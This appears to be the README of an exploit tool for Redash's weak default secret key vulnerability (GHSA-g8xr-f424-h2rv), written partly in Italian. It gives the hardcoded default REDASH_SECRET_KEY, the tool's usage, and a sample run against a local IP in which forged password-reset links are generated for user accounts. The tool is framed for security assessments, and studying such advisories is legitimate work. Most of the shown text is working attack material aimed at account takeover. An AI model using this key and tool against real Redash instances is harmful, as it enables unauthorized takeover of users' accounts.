
Sfrutta la vulnerabilità della chiave segreta debole di Redash (GHSA-g8xr-f424-h2rv) per generare link di reset della password per qualsiasi utente, consentendo la compromissione dell'account durante le valutazioni di sicurezza.
Questo utilizzerà una chiave REDASH_SECRET_KEY predefinita di c292a0a3aa32397cdb050e233733900f; ciò consente di reimpostare la password dell'ID utente, ma dovrai conoscere l'indirizzo email associato ad esso.
https://github.com/getredash/redash/security/advisories/GHSA-g8xr-f424-h2rv
pip install -r requirements.txt
usage: redash.py [-h] [-s SECRET] -u URL [-p PROXY]
optional arguments:
-h, --help show this help message and exit
-s SECRET, --secret SECRET
Weak REDASH_SECRET_KEY
-u URL, --url URL URL of host to check will need http or https
-p PROXY, --proxy PROXY
Proxy for debugging
[2021-11-29T15:44:27Z] root@MBP-3623:/tmp$ python3 test.py -u http://192.168.1.170
Rest Link http://192.168.1.170/reset/IjEi.YaT1sQ.e6w1vMsG-gx0OVT0qV5aH_aI7IA - UserID: 1
http://192.168.1.170/reset/IjIi.YaT1sQ.j67-OQljn2ivQiyw9Y9wa7G6GY0
Failed to Generate Reset Link for 2